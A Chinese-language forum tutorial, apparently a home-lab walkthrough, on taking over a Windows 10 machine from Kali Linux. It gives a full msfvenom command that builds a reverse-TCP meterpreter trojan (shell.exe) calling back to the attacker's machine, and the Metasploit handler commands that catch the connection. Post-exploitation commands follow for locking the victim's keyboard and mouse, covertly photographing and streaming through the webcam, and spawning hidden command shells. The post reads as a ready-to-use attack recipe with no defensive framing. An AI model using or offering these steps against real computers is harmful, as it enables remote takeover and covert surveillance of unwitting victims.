kali机：192.168.198.134

win10：192.168.198.1

我们先来查看下自己的IP地址

watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpZXZy,size_16,color_FFFFFF,t_70.jpg (587.31 KB, 下载次数: 15)

2020-1-17 15:36 上传

接着我们使用fping来扫描一下局域网内的所有IP

fping -g IP/24 -->扫描局域网内所有IP

watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpZXZy,size_16,color_FFFFFF,t_70.jpg (629.88 KB, 下载次数: 10)

2020-1-17 15:36 上传

攻击正式开始

1.我们先用msfvenom来生成一个木马文件，它将在root目录生成一个名叫shell.exe文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.198.134 lport=5555 -f exe R > /root/shell.exe

LHOST -->本地的IP地址

LPORT -->反向连接到主机的端口

R> -->木马生成的保存输出路径

watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpZXZy,size_16,color_FFFFFF,t_70.jpg (533.32 KB, 下载次数: 16)

2020-1-17 15:36 上传

2.打开msfconsole，键入以下代码

msf > use exploit/multi/handler -->设置模块

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp -->设置payload为反向tcp连接

msf exploit(multi/handler) > set lhost 192.168.198.134 -->设置本地的IP地址

msf exploit(multi/handler) > set lport 5555 -->设置端口，需要跟前面生成的木马端口一致

watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpZXZy,size_16,color_FFFFFF,t_70.jpg (565.29 KB, 下载次数: 14)

2020-1-17 15:36 上传

开始攻击

exploit -->执行攻击命令

watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpZXZy,size_16,color_FFFFFF,t_70.jpg (570.52 KB, 下载次数: 12)

2020-1-17 15:36 上传

3.现在我把马放在自己本机上，由于隐私问题我们不放图片了

现在我们来运行shell.exe，然而并没有什么反应，但实际上木马已经运行了，kali也监听到了

watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpZXZy,size_16,color_FFFFFF,t_70.jpg (583.66 KB, 下载次数: 14)

2020-1-17 15:36 上传

4.开始搞事

现在你又可以为所欲为了

部分指令如下

uictl开关键盘/鼠标

uictl [enable/disable] [keyboard/mouse/all] -->开启或禁止键盘/鼠标

uictl disable mouse -->禁用鼠标

uictl disable keyboard -->禁用键盘

webcam摄像头命令

webcam_list -->查看摄像头

webcam_snap -->通过摄像头拍照

webcam_stream -->通过摄像头开启视频

execute执行文件

execute -->在目标机中执行文件

execute -H -i -f cmd.exe -->创建新进程cmd.exe，-H不可见，-i交互详细指令请见：先知社区

我们以查看自己当前所在用户组为例

执行shell来运行cmd

watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpZXZy,size_16,color_FFFFFF,t_70.jpg (600.23 KB, 下载次数: 16)

2020-1-17 15:36 上传

可以看出我们的用户名叫sievr，归属于sievr用户组

然后我们来验证一下

watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpZXZy,size_16,color_FFFFFF,t_70.jpg (434.9 KB, 下载次数: 12)

2020-1-17 15:36 上传

完全正确

好的本次教程就到这里，有不懂的欢迎私信！